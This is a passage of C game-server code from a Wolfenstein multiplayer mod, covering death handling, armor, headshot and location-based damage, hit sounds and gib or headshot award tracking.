self->s.angles[0] = 0;
}
else {
self->client->limboDropWeapon = self->s.weapon; // store this so it can be dropped in limbo
}
// jpw
self->s.angles[2] = 0;
LookAtKiller (self, inflictor, attacker);
#ifdef OMNIBOT
if ( !(self->r.svFlags & SVF_BOT) )
#endif
VectorCopy( self->s.angles, self->client->ps.viewangles );
self->s.loopSound = 0;
trap_UnlinkEntity( self );
self->r.maxs[2] = 0;
self->client->ps.maxs[2] = 0;
trap_LinkEntity( self );
// don't allow respawn until the death anim is done
// g_forcerespawn may force spawning at some later time
self->client->respawnTime = level.time + 800;
// remove powerups
memset( self->client->ps.powerups, 0, sizeof(self->client->ps.powerups) );
// never gib in a nodrop
if ( self->health <= GIB_HEALTH && !(contents & CONTENTS_NODROP) ) {
GibEntity( self, killer );
nogib = qfalse;
}
if(nogib){
// normal death
// for the no-blood option, we need to prevent the health
// from going to gib level
if ( self->health <= GIB_HEALTH ) {
self->health = GIB_HEALTH+1;
}
// JPW NERVE for medic
self->client->medicHealAmt = 0;
// jpw
// DHM - Play death animation, and set pm_time to delay 'fallen' animation
self->client->ps.pm_time = BG_AnimScriptEvent( &self->client->ps, ANIM_ET_DEATH, qfalse, qtrue );
G_AddEvent( self, EV_DEATH1 + 1, killer );
// the body can still be gibbed
self->die = body_die;
}
// L0 - First Blood is now separated and controlled in function...
// if(g_ShowHighlights.integer){
FirstBlood (self, attacker);
// } // L0 - end
trap_LinkEntity (self);
if ( g_gametype.integer >= GT_WOLF && meansOfDeath == MOD_SUICIDE ) {
limbo( self, qtrue );
}
}
/*
================
CheckArmor
================
*/
int CheckArmor (gentity_t *ent, int damage, int dflags)
{
gclient_t *client;
int save;
int count;
if (!damage)
return 0;
client = ent->client;
if (!client)
return 0;
if (dflags & DAMAGE_NO_ARMOR)
return 0;
// armor
count = client->ps.stats[STAT_ARMOR];
save = ceil( damage * ARMOR_PROTECTION );
if (save >= count)
save = count;
if (!save)
return 0;
client->ps.stats[STAT_ARMOR] -= save;
return save;
}
qboolean IsHeadShotWeapon (int mod, qboolean aicharacter)
{
#ifndef NO_BOT_SUPPORT
if(aicharacter) { // ai's are allowed headshots from these weapons
if( mod == MOD_SNIPERRIFLE ||
mod == MOD_SNOOPERSCOPE)
return qtrue;
return qfalse;
}
#endif // NO_BOT_SUPPORT
// players are allowed headshots from these weapons
if ( mod == MOD_LUGER ||
mod == MOD_COLT ||
mod == MOD_AKIMBO || //----(SA) added
mod == MOD_MP40 ||
mod == MOD_THOMPSON ||
mod == MOD_STEN ||
mod == MOD_BAR ||
mod == MOD_FG42 ||
mod == MOD_FG42SCOPE ||
(mod == MOD_MAUSER && g_deathmatch.integer != 2) ||
mod == MOD_GARAND || // JPW NERVE this was left out
mod == MOD_SNIPERRIFLE ||
mod == MOD_SNOOPERSCOPE ||
mod == MOD_SILENCER || //----(SA) modified
mod == MOD_SNIPERRIFLE)
return qtrue;
return qfalse;
}
qboolean IsHeadShot (gentity_t *targ, qboolean isAICharacter, vec3_t dir, vec3_t point, int mod )
{
gentity_t *head;
trace_t tr;
vec3_t start, end;
gentity_t *traceEnt;
orientation_t or; // DHM - Nerve
qboolean head_shot_weapon = qfalse;
// not a player or critter so bail
if (!(targ->client))
return qfalse;
if (targ->health <= 0)
return qfalse;
head_shot_weapon = IsHeadShotWeapon (mod, isAICharacter);
if (head_shot_weapon)
{
head = G_Spawn ();
if (trap_GetTag( targ->s.number, "tag_head", &or )) {
G_SetOrigin( head, or.origin );
}
else {
float height, dest;
vec3_t v, angles, forward, up, right;
G_SetOrigin (head, targ->r.currentOrigin);
if (targ->client->ps.pm_flags & PMF_DUCKED) // closer fake offset for 'head' box when crouching
height = targ->client->ps.crouchViewHeight - 12;
else
height = targ->client->ps.viewheight;
// NERVE - SMF - this matches more closely with WolfMP models
VectorCopy( targ->client->ps.viewangles, angles );
if ( angles[PITCH] > 180 ) {
dest = (-360 + angles[PITCH]) * 0.75;
} else {
dest = angles[PITCH] * 0.75;
}
angles[PITCH] = dest;
AngleVectors( angles, forward, right, up );
VectorScale( forward, 5, v );
VectorMA( v, 18, up, v );
VectorAdd( v, head->r.currentOrigin, head->r.currentOrigin );
head->r.currentOrigin[2] += height / 2;
// -NERVE - SMF
}
VectorCopy (head->r.currentOrigin, head->s.origin);
VectorCopy (targ->r.currentAngles, head->s.angles);
VectorCopy (head->s.angles, head->s.apos.trBase);
VectorCopy (head->s.angles, head->s.apos.trDelta);
VectorSet (head->r.mins , -6, -6, -2); // JPW NERVE changed this z from -12 to -6 for crouching, also removed standing offset
VectorSet (head->r.maxs , 6, 6, 10); // changed this z from 0 to 6
head->clipmask = CONTENTS_SOLID;
head->r.contents = CONTENTS_SOLID;
trap_LinkEntity (head);
// trace another shot see if we hit the head
VectorCopy (point, start);
VectorMA (start, 64, dir, end);
trap_Trace (&tr, start, NULL, NULL, end, targ->s.number, MASK_SHOT);
traceEnt = &g_entities[ tr.entityNum ];
if(g_debugBullets.integer >= 3) { // show hit player head bb
gentity_t *tent;
vec3_t b1, b2;
VectorCopy(head->r.currentOrigin, b1);
VectorCopy(head->r.currentOrigin, b2);
VectorAdd(b1, head->r.mins, b1);
VectorAdd(b2, head->r.maxs, b2);
tent = G_TempEntity( b1, EV_RAILTRAIL );
VectorCopy(b2, tent->s.origin2);
tent->s.dmgFlags = 1;
// show headshot trace
// end the headshot trace at the head box if it hits
if(tr.fraction != 1) {
VectorMA(start, (tr.fraction * 64), dir, end);
}
tent = G_TempEntity( start, EV_RAILTRAIL );
VectorCopy(end, tent->s.origin2);
tent->s.dmgFlags = 0;
}
G_FreeEntity (head);
if (traceEnt == head) {
level.totalHeadshots++; // NERVE - SMF
return qtrue;
}
else
level.missedHeadshots++; // NERVE - SMF
}
return qfalse;
}
/*
==============
G_ArmorDamage
brokeparts is how many should be broken off now
curbroke is how many are broken
the difference is how many to pop off this time
==============
*/
void G_ArmorDamage(gentity_t *targ) {
int brokeparts, curbroke;
int numParts;
int dmgbits = 16; // 32/2;
int i;
if(!targ->client)
return;
if(targ->s.aiChar == AICHAR_PROTOSOLDIER ) {
numParts = 9;
} else if(targ->s.aiChar == AICHAR_SUPERSOLDIER ) {
numParts = 14;
} else if(targ->s.aiChar == AICHAR_HEINRICH ) {
numParts = 20;
} else {
return;
}
if(numParts > dmgbits)
numParts = dmgbits; // lock this down so it doesn't overwrite any bits that it shouldn't. TODO: fix this
// determined here (on server) by location of hit and existing armor, you're updating here so
// the client knows which pieces are still in place, and by difference with previous state, which
// pieces to play an effect where the part is blown off.
// Need to do it here so we have info on where the hit registered (head, torso, legs or if we go with more detail; arm, leg, chest, codpiece, etc)
// ... Ick, just discovered that the refined hit detection ("hit nearest to which tag") is clientside...
// For now, I'll randomly pick a part that hasn't been cleared. This might end up looking okay, and we won't need the refined hits.
// however, we still have control on the server-side of which parts come off, regardless of what shceme is used.
brokeparts = (int)( (1 - ((float)(targ->health) / (float)(targ->client->ps.stats[STAT_MAX_HEALTH])) ) * numParts);
if(brokeparts && ( (targ->s.dmgFlags & ((1<<numParts)-1)) != (1<<numParts)-1) ) { // there are still parts left to clear
// how many are removed already?
curbroke = 0;
for(i=0;i<numParts;i++) {
if(targ->s.dmgFlags & (1<<i))
curbroke++;
}
// need to remove more
if(brokeparts-curbroke >= 1 && curbroke < numParts) {
for(i=0;i<(brokeparts-curbroke);i++) {
int remove = rand()%(numParts);
if(!( (targ->s.dmgFlags & ((1<<numParts)-1)) != (1<<numParts)-1)) // no parts are available any more
break;
// FIXME: lose the 'while' loop. Still should be safe though, since the check above verifies that it will eventually find a valid part
while(targ->s.dmgFlags & (1<<remove)){
remove = rand()%(numParts);
}
targ->s.dmgFlags |= (1<<remove); // turn off 'undamaged' part
if((int)(random()+0.5)) // choose one of two possible replacements
targ->s.dmgFlags |= (1<<(numParts + remove));
}
}
}
}
//S4NDM4NN-Location damage
/*
============
G_LocationDamage
============
*/
int G_LocationDamage(vec3_t point, gentity_t* targ, gentity_t* attacker, int take) {
vec3_t bulletPath;
vec3_t bulletAngle;
int clientHeight;
int clientFeetZ;
int clientRotation;
int bulletHeight;
int bulletRotation; // Degrees rotation around client.
// used to check Back of head vs. Face
int impactRotation;
// First things first. If we're not damaging them, why are we here?
if (!take)
return 0;
// Point[2] is the REAL world Z. We want Z relative to the clients feet
// Where the feet are at [real Z]
clientFeetZ = targ->r.currentOrigin[2] + targ->r.mins[2];
// How tall the client is [Relative Z]
clientHeight = targ->r.maxs[2] - targ->r.mins[2];
// Where the bullet struck [Relative Z]
bulletHeight = point[2] - clientFeetZ;
// Get a vector aiming from the client to the bullet hit
VectorSubtract(targ->r.currentOrigin, point, bulletPath);
// Convert it into PITCH, ROLL, YAW
vectoangles(bulletPath, bulletAngle);
clientRotation = targ->client->ps.viewangles[YAW];
bulletRotation = bulletAngle[YAW];
impactRotation = abs(clientRotation-bulletRotation);
impactRotation += 45; // just to make it easier to work with
impactRotation = impactRotation % 360; // Keep it in the 0-359 range
if (impactRotation < 90)
targ->client->lasthurt_location = LOCATION_BACK;
else if (impactRotation < 180)
targ->client->lasthurt_location = LOCATION_RIGHT;
else if (impactRotation < 270)
targ->client->lasthurt_location = LOCATION_FRONT;
else if (impactRotation < 360)
targ->client->lasthurt_location = LOCATION_LEFT;
else
targ->client->lasthurt_location = LOCATION_NONE;
// The upper body never changes height, just distance from the feet
if (bulletHeight > clientHeight - 2)
targ->client->lasthurt_location |= LOCATION_HEAD;
else if (bulletHeight > clientHeight - 8)
targ->client->lasthurt_location |= LOCATION_FACE;
else if (bulletHeight > clientHeight - 10)
targ->client->lasthurt_location |= LOCATION_SHOULDER;
else if (bulletHeight > clientHeight - 16)
targ->client->lasthurt_location |= LOCATION_CHEST;
else if (bulletHeight > clientHeight - 26)
targ->client->lasthurt_location |= LOCATION_STOMACH;
else if (bulletHeight > clientHeight - 29)
targ->client->lasthurt_location |= LOCATION_GROIN;
else if (bulletHeight < 4)
targ->client->lasthurt_location |= LOCATION_FOOT;
else
// The leg is the only thing that changes size when you duck,
// so we check for every other parts RELATIVE location, and
// whats left over must be the leg.
targ->client->lasthurt_location |= LOCATION_LEG;
// Check the location ignoring the rotation info
switch ( targ->client->lasthurt_location &
~(LOCATION_BACK | LOCATION_LEFT | LOCATION_RIGHT | LOCATION_FRONT) )
{
case LOCATION_HEAD:
take *= 1;
// trap_SendServerCommand( attacker-g_entities, "chat \"head\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hithead++;
break;
case LOCATION_FACE:
if (targ->client->lasthurt_location & LOCATION_FRONT){
take *= 1; // Faceshots REALLY suck
// trap_SendServerCommand(attacker-g_entities, "chat \"face\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitface++;
}else{
take *= 1;
// trap_SendServerCommand( attacker-g_entities, "chat \"head i think?1?\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hithead++;
}
break;
case LOCATION_SHOULDER:
if (targ->client->lasthurt_location & (LOCATION_FRONT | LOCATION_BACK)){
take *= 1; // Throat or nape of neck
// trap_SendServerCommand( attacker-g_entities, "chat \"throat\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitthroat++;
}else{
take *= 1; // Shoulders
//trap_SendServerCommand( attacker-g_entities, "chat \"shoulders\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitarm++;
}
break;
case LOCATION_CHEST:
if (targ->client->lasthurt_location & (LOCATION_FRONT | LOCATION_BACK)){
take *= 1; // Belly or back
// trap_SendServerCommand( attacker-g_entities, "chat \"belly/back\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitbody++;
}else{
take *= 1; // Arms
// trap_SendServerCommand( attacker-g_entities, "chat \"arm\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitarm++;
}
break;
case LOCATION_STOMACH:
take *= 1;
// trap_SendServerCommand( attacker-g_entities, "chat \"shomach\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitbody++;
break;
case LOCATION_GROIN:
if (targ->client->lasthurt_location & LOCATION_FRONT)// Groin shot
{
// trap_SendServerCommand( attacker-g_entities, "chat \"groin\n\"" );
take *= 1;
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitleg++;
}
break;
case LOCATION_LEG:
take *= 1;
// trap_SendServerCommand( attacker-g_entities, "chat \"leg\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitleg++;
break;
case LOCATION_FOOT:
take *= 1;
// trap_SendServerCommand( attacker-g_entities, "chat \"foot\n\"" );
if ( !OnSameTeam( targ, attacker ) || g_deathmatch.integer == 2)
attacker->client->pers.hitfoot++;
break;
}
// if ( !OnSameTeam( targ, attacker ) ){
// attacker->client->pers.dmgGiven += take;
// targ->client->pers.dmgreceived += take;
// }
return take;
}
//End S4NDM4NN
/*
============
T_Damage
targ entity that is being damaged
inflictor entity that is causing the damage
attacker entity that caused the inflictor to damage targ
example: targ=monster, inflictor=rocket, attacker=player
dir direction of the attack for knockback
point point at which the damage is being inflicted, used for headshots
damage amount of damage being inflicted
knockback force to be applied against targ as a result of the damage
inflictor, attacker, dir, and point can be NULL for environmental effects
dflags these flags are used to control how T_Damage works
DAMAGE_RADIUS damage was indirect (from a nearby explosion)
DAMAGE_NO_ARMOR armor does not protect from this damage
DAMAGE_NO_KNOCKBACK do not affect velocity, just view angles
DAMAGE_NO_PROTECTION kills godmode, armor, everything
============
*/
#ifdef OMNIBOT
const char *_GetEntityName(gentity_t *_ent);
#endif
void G_Damage( gentity_t *targ, gentity_t *inflictor, gentity_t *attacker,
vec3_t dir, vec3_t point, int damage, int dflags, int mod ) {
gclient_t *client;
int take;
int save;
int asave;
int knockback;
qboolean isHeadshot=qfalse;
if (!targ->takedamage) {
return;
}
// the intermission has allready been qualified for, so don't
// allow any extra scoring
if ( level.intermissionQueued || g_gamestate.integer != GS_PLAYING ) {
//warmupdmg
if ((!g_warmupDamage.integer)) //|| ((g_gamestate.integer != GS_WARMUP) && (g_gamestate.integer != GS_WARMUP_COUNTDOWN)))
return;
}
if ( !inflictor ) {
inflictor = &g_entities[ENTITYNUM_WORLD];
}
if ( !attacker ) {
attacker = &g_entities[ENTITYNUM_WORLD];
}
// JPW NERVE
if ((targ->waterlevel >= 3) && (mod == MOD_FLAMETHROWER))
return;
// jpw
// shootable doors / buttons don't actually have any health
if ( targ->s.eType == ET_MOVER && !(targ->aiName) && !(targ->isProp) && !targ->scriptName) {
if ( targ->use && targ->moverState == MOVER_POS1 ) {
targ->use( targ, inflictor, attacker );
}
return;
}
if ( targ->s.eType == ET_MOVER && targ->aiName && !(targ->isProp) && !targ->scriptName)
{
switch (mod) {
case MOD_GRENADE:
case MOD_GRENADE_SPLASH:
case MOD_ROCKET:
case MOD_ROCKET_SPLASH:
break;
default:
return; // no damage from other weapons
}
}
else if ( targ->s.eType == ET_EXPLOSIVE )
{
// 32 Explosive
// 64 Dynamite only
if ((targ->spawnflags & 32) || (targ->spawnflags & 64))
{
switch (mod) {
case MOD_GRENADE:
case MOD_GRENADE_SPLASH:
case MOD_ROCKET:
case MOD_ROCKET_SPLASH:
case MOD_AIRSTRIKE:
case MOD_ARTILLERY:
case MOD_GRENADE_PINEAPPLE:
case MOD_MORTAR:
case MOD_MORTAR_SPLASH:
case MOD_EXPLOSIVE:
if (targ->spawnflags & 64)
return;
break;
case MOD_DYNAMITE:
case MOD_DYNAMITE_SPLASH:
break;
default:
return;
}
}
}
client = targ->client;
if ( client ) {
if ( client->noclip ) {
return;
}
}
if ( !dir ) {
dflags |= DAMAGE_NO_KNOCKBACK;
} else {
VectorNormalize(dir);
}
knockback = damage;
if ( knockback > 200 ) {
knockback = 200;
}
if ( targ->flags & FL_NO_KNOCKBACK ) {
knockback = 0;
}
if ( dflags & DAMAGE_NO_KNOCKBACK ) {
knockback = 0;
}
// figure momentum add, even if the damage won't be taken
if ( knockback && targ->client && (g_friendlyFire.integer || !OnSameTeam(targ, attacker) || g_friendlyFireKnockback.integer) ) {
vec3_t kvel;
float mass;
mass = 200;
if (mod == MOD_LIGHTNING && !((level.time+targ->s.number*50)%400)) {
knockback = 60;
dir[2] = 0.3;
}
VectorScale (dir, g_knockback.value * (float)knockback / mass, kvel);
VectorAdd (targ->client->ps.velocity, kvel, targ->client->ps.velocity);
if (targ == attacker && !( mod != MOD_ROCKET &&
mod != MOD_ROCKET_SPLASH &&
mod != MOD_GRENADE &&
mod != MOD_GRENADE_SPLASH &&
mod != MOD_DYNAMITE))
{
targ->client->ps.velocity[2] *= 0.25;
}
// set the timer so that the other client can't cancel
// out the movement immediately
if ( !targ->client->ps.pm_time ) {
int t;
t = knockback * 2;
if ( t < 50 ) {
t = 50;
}
if ( t > 200 ) {
t = 200;
}
targ->client->ps.pm_time = t;
targ->client->ps.pm_flags |= PMF_TIME_KNOCKBACK;
}
}
// check for completely getting out of the damage
if ( !(dflags & DAMAGE_NO_PROTECTION) ) {
// if TF_NO_FRIENDLY_FIRE is set, don't do damage to the target
// if the attacker was on the same team
if ( targ != attacker && OnSameTeam (targ, attacker) ) {
if ( !g_friendlyFire.integer ) {
return;
}
}
// check for godmode
if ( targ->flags & FL_GODMODE ) {
return;
}
// RF, warzombie defense position is basically godmode for the time being
if ( targ->flags & FL_DEFENSE_GUARD ) {
return;
}
// check for invulnerability // (SA) moved from below so DAMAGE_NO_PROTECTION will still work
if ( client && client->ps.powerups[PW_INVULNERABLE] ) { //----(SA) added
return;
}
}
// battlesuit protects from all radius damage (but takes knockback)
// and protects 50% against all damage
if ( client && client->ps.powerups[PW_BATTLESUIT] ) {
G_AddEvent( targ, EV_POWERUP_BATTLESUIT, 0 );
if ( dflags & DAMAGE_RADIUS ) {
return;
}
damage *= 0.5;
}
// add to the attacker's hit counter
if ( attacker->client && targ != attacker && targ->health > 0 ) {
if ( OnSameTeam( targ, attacker ) ) {
attacker->client->ps.persistant[PERS_HITS] -= damage;
} else {
attacker->client->ps.persistant[PERS_HITS] += damage;
}
}
if ( damage < 1 ) {
damage = 1;
}
take = damage;
save = 0;
// save some from armor
asave = CheckArmor (targ, take, dflags);
take -= asave;
if ( IsHeadShot(targ, qfalse, dir, point, mod) ) {
if (take*2 < g_headshotDmg.integer){
if((!(targ->client->ps.eFlags & EF_HEADSHOT)) && (g_helmetProtects.integer))
take = g_helmetDmg.integer;
else
take = g_headshotDmg.integer;
}else{
if (g_SniperMode.integer){
take *= 20; // sniper rifles destroy them
if(!OnSameTeam(attacker,targ)){
G_AddEvent( attacker, EV_GLOBAL_SOUND, G_SoundIndex( "sound/player/headshot.wav" ));
// trap_SendServerCommand(-1, va("chat \"console: %.99s ^7killed %.99s ^7with a ^1HEADSHOT!^7\n\" 0", attacker->client->pers.netname, targ->client->pers.netname));
}
}
else
take = 150; // Headshot with sniper rifles DOES full kill
}
// L0 FirstHeadShot
if(g_ShowHighlights.integer){
FirstHeadshot (attacker, targ);
} // L0 - end
if(!(targ->client->ps.eFlags & EF_HEADSHOT)) // only toss hat on first headshot
G_AddEvent( targ, EV_LOSE_HAT, DirToByte(dir) );
targ->client->ps.eFlags |= EF_HEADSHOT;
isHeadshot = qtrue;
if(g_deathmatch.integer !=2){
if (!OnSameTeam(attacker, targ)){
attacker->client->pers.headshots++;
if (g_reportHeadshots.integer > 0)
trap_SendServerCommand(attacker-g_entities, va("cp \"^1HEADSHOT!!!\n\""));
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.headshots > level.HAHshotnum){
Q_strncpyz ( level.HAheadhunters, "", sizeof( level.HAheadhunters ) );
strcat(level.HAheadhunters, attacker->client->pers.netname);
level.HAHshotnum = attacker->client->pers.headshots;
}else if(attacker->client->pers.headshots == level.HAHshotnum){
strcat(level.HAheadhunters, "^7, ");//Add a comma after the other person
strcat(level.HAheadhunters, attacker->client->pers.netname);//and add their name
}
}
}
}else{
attacker->client->pers.headshots++;
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.headshots > level.HAHshotnum){
Q_strncpyz ( level.HAheadhunters, "", sizeof( level.HAheadhunters ) );
strcat(level.HAheadhunters, attacker->client->pers.netname);
level.HAHshotnum = attacker->client->pers.headshots;
}else if(attacker->client->pers.headshots == level.HAHshotnum){
strcat(level.HAheadhunters, "^7, ");//Add a comma after the other person
strcat(level.HAheadhunters, attacker->client->pers.netname);//and add their name
}
}
if ((g_reportHeadshots.integer > 0) && (!g_SniperMode.integer))
trap_SendServerCommand(attacker-g_entities, va("cp \"^1HEADSHOT!!!\n\""));
}
if(g_instaGib.integer)
take = 999;
}else{
if (( targ && targ->client) && (g_headshotsOnly.integer !=0) && (targ->client->ps.stats[STAT_HEALTH] > 0))
return;
}
if ( g_debugDamage.integer ) {
G_Printf( "client:%i health:%i damage:%i armor:%i\n", targ->s.number,
targ->health, take, asave );
}
// add to the damage inflicted on a player this frame
// the total will be turned into screen blends and view angle kicks
// at the end of the frame
if ( client ) {
if ( attacker ) {
client->ps.persistant[PERS_ATTACKER] = attacker->s.number;
} else {
client->ps.persistant[PERS_ATTACKER] = ENTITYNUM_WORLD;
}
client->damage_armor += asave;
client->damage_blood += take;
client->damage_knockback += knockback;
if ( dir ) {
VectorCopy ( dir, client->damage_from );
client->damage_fromWorld = qfalse;
} else {
VectorCopy ( targ->r.currentOrigin, client->damage_from );
client->damage_fromWorld = qtrue;
}
}
// See if it's the player hurting the emeny flag carrier
Team_CheckHurtCarrier(targ, attacker);
if (targ->client) {
// set the last client who damaged the target
targ->client->lasthurt_client = attacker->s.number;
targ->client->lasthurt_mod = mod;
//S4NDM4NN
// Modify the damage for location damage
//Added all the guns i think dont want this to work for grenades or w/e
//even though this is sniper mod and you dont get anythign else :)
if( mod == MOD_SNIPERRIFLE ||
mod == MOD_SNOOPERSCOPE ||
mod == MOD_LUGER ||
mod == MOD_COLT ||
mod == MOD_AKIMBO ||
mod == MOD_MP40 ||
mod == MOD_THOMPSON ||
mod == MOD_STEN ||
mod == MOD_BAR ||
mod == MOD_FG42 ||
mod == MOD_FG42SCOPE ||
mod == MOD_MAUSER ||
mod == MOD_GARAND ||
mod == MOD_SNIPERRIFLE ||
mod == MOD_SNOOPERSCOPE ||
mod == MOD_SILENCER ||
mod == MOD_SNIPERRIFLE){
if (point && targ && targ->health > 0 && attacker && take)
take = G_LocationDamage(point, targ, attacker, take);
else
targ->client->lasthurt_location = LOCATION_NONE;
}
//END S4NDM4NN
}
//S4NDM4NN-for damage taken/recieved
//Dont really want it to count when you are gibbing
//although it might count some anyway
if ((attacker && attacker->client)&&(targ && targ->client)){
if (targ->client->ps.stats[STAT_HEALTH] > 0){
if(g_deathmatch.integer == 2){
attacker->client->pers.dmgGiven += take;
targ->client->pers.dmgreceived += take;
}else{
if(!OnSameTeam(attacker, targ)){
attacker->client->pers.dmgGiven += take;
targ->client->pers.dmgreceived += take;
}
//1/17/07 Agent Added for team damage... this will reduce the door blockers who team flame... :)which is me lol
if(OnSameTeam(attacker,targ)){
attacker->client->pers.dmgTeam += take;
}
}
}
}
//End
// Agent 1/8/2007
// Dont play hitsounds for non "instant hit" weapons. It gives away too much info when you hear it for a
// grenade or your own mine :S. I proabley didnt need 1002-1007, but oh well :)
if((mod != MOD_POISON_SYRINGE) && (mod != MOD_LAVA) && (mod != MOD_ARTILLERY) && (mod != MOD_AIRSTRIKE) && (mod != MOD_GRENADE)
&& (mod != MOD_GRENADE_SPLASH) && (mod != MOD_ROCKET)&& (mod != MOD_ROCKET_SPLASH) /*&& (mod != MOD_FLAMETHROWER) */
&& (mod != MOD_DYNAMITE)&& (mod != MOD_GOOMBA) && (mod != MOD_THROWING_KNIFE) && (mod != 1004) && (mod != 1005)
&& (mod != MOD_ADMIN_SLAP) && (mod != MOD_LAVA) && (mod != MOD_ADMIN_KILL) && (mod != MOD_LANDMINE) && (mod != MOD_DYNAMITE_SPLASH)
&& ((targ && targ->client) && (attacker && attacker->client)) && (attacker!=targ)&& (g_allowhitsounds.integer)){
HitSounds(attacker,targ,isHeadshot);
}
#ifdef OMNIBOT
// need to trigger the explodes filtered for health before the damage ...
if (take && take > targ->health && targ->s.number >= MAX_CLIENTS && targ->health > 50)
{
if (targ->spawnflags & 16)
{
if (Q_stricmp(_GetEntityName(targ), ""))
Bot_Util_SendTrigger(targ, NULL, va("Explode_%s Exploded.", _GetEntityName(targ)), "exploded");
else
Bot_Util_SendTrigger(targ, NULL, va("Explode_%d Exploded", targ->s.number), "exploded");
}
}
#endif
// do the damage
if (take) {
targ->health = targ->health - take;
// Ridah, can't gib with bullet weapons (except VENOM)
if ( mod != MOD_VENOM && attacker == inflictor && targ->health <= GIB_HEALTH) {
if (targ->aiCharacter != AICHAR_ZOMBIE) // zombie needs to be able to gib so we can kill him (although he doesn't actually GIB, he just dies)
targ->health= GIB_HEALTH+1;
}
// JPW NERVE overcome previous chunk of code for making grenades work again
if ((g_gametype.integer != GT_SINGLE_PLAYER) && (take > 190)) // 190 is greater than 2x mauser headshot, so headshots don't gib
{
targ->health = GIB_HEALTH - 1;
// jpw
}
//G_Printf("health at: %d\n", targ->health);
if ( targ->health <= 0 ){
if ( client ){
if ((targ->health == GIB_HEALTH - 1) && (!(targ->client->ps.pm_flags & PMF_LIMBO))){
targ->client->pers.gibbed = qtrue;
//Agent - i made it more shrubmod style where its _ALWAYS_ victem was gibbed/killed by attacker
if(g_deathmatch.integer !=2){
if (!attacker->client){
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s ^7was gibbed\n\"", targ->client->pers.netname));
}else if (attacker == targ){
if(g_autoTap.integer){
targ->client->pers.isTapped = qfalse; //autotap
targ->client->pers.spawnCyclesSkipped = 0;
}
if (g_gibReports.integer){
if (targ->client->sess.gender == 0)
trap_SendServerCommand(-1, va("print \"%s ^7gibbed himself\n\"", targ->client->pers.netname));
else
trap_SendServerCommand(-1, va("print \"%s ^7gibbed herself\n\"", targ->client->pers.netname));
}
}else{
if (!OnSameTeam(attacker, targ)){ // *** ENEMY GIB
if(g_autoTap.integer){
targ->client->pers.isTapped = qfalse; //autotap
targ->client->pers.spawnCyclesSkipped = 0;
}
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s ^7was gibbed by %s\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.gibs++;
if (g_gibPoints.integer)
attacker->client->ps.persistant[PERS_SCORE]++;
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.gibs > level.HAgibnum){
Q_strncpyz ( level.HAhighgibbers, "", sizeof( level.HAhighgibbers ) );
strcat(level.HAhighgibbers, attacker->client->pers.netname);
level.HAgibnum = attacker->client->pers.gibs;
}else if(attacker->client->pers.gibs == level.HAgibnum){
strcat(level.HAhighgibbers, "^7, ");//Add a comma after the other person
strcat(level.HAhighgibbers, attacker->client->pers.netname);//and add their name
}
}
}else{ // *** TEAM GIB
if(g_autoTap.integer){
targ->client->pers.isTapped = qfalse; //autotap
targ->client->pers.spawnCyclesSkipped = 0;
}
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s ^3WAS GIBBED BY TEAMMATE ^7%s\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.teamGibs++;
}
}
}
}
targ->flags |= FL_NO_KNOCKBACK;
// JPW NERVE -- repeated shooting sends to limbo
if (g_gametype.integer >= GT_WOLF){
if ((targ->health < FORCE_LIMBO_HEALTH) && (targ->health > GIB_HEALTH) && (!(targ->client->ps.pm_flags & PMF_LIMBO))){
limbo(targ, qtrue);
if(g_deathmatch.integer !=2){
if (!attacker->client){
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s ^7was gibbed\n\"", targ->client->pers.netname));
}else if (attacker == targ){
if (g_gibReports.integer){
if (targ->client->sess.gender == 0)
trap_SendServerCommand(-1, va("print \"%s ^7gibbed himself\n\"", targ->client->pers.netname));
else
trap_SendServerCommand(-1, va("print \"%s ^7gibbed herself\n\"", targ->client->pers.netname));
}
}
else{
if (!OnSameTeam(attacker, targ)){
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s ^7was gibbed by %s\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.gibs++;
if (g_gibPoints.integer)
attacker->client->ps.persistant[PERS_SCORE]++;
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.gibs > level.HAgibnum){
Q_strncpyz ( level.HAhighgibbers, "", sizeof( level.HAhighgibbers ) );
strcat(level.HAhighgibbers, attacker->client->pers.netname);
level.HAgibnum = attacker->client->pers.gibs;
}else if(attacker->client->pers.gibs == level.HAgibnum){
strcat(level.HAhighgibbers, "^7, ");//Add a comma after the other person
strcat(level.HAhighgibbers, attacker->client->pers.netname);//and add their name
}
}
}else{
if (g_gibReports.integer)
trap_SendServerCommand(-1, va("print \"%s^3 WAS GIBBED BY TEAMMATE^7 %s\n\"", targ->client->pers.netname, attacker->client->pers.netname));
attacker->client->pers.teamGibs++;
}
}
}
}
}
}
if (targ->health < -999)
targ->health = -999;
targ->enemy = attacker;
if (targ->die) // Ridah, mg42 doesn't have die func (FIXME)
targ->die (targ, inflictor, attacker, take, mod);
// if we freed ourselves in death function
if (!targ->inuse)
return;
// RF, entity scripting
if (targ->s.number >= MAX_CLIENTS && targ->health <= 0) // might have revived itself in death function
G_Script_ScriptEvent( targ, "death", "" );
} else if ( targ->pain ) {
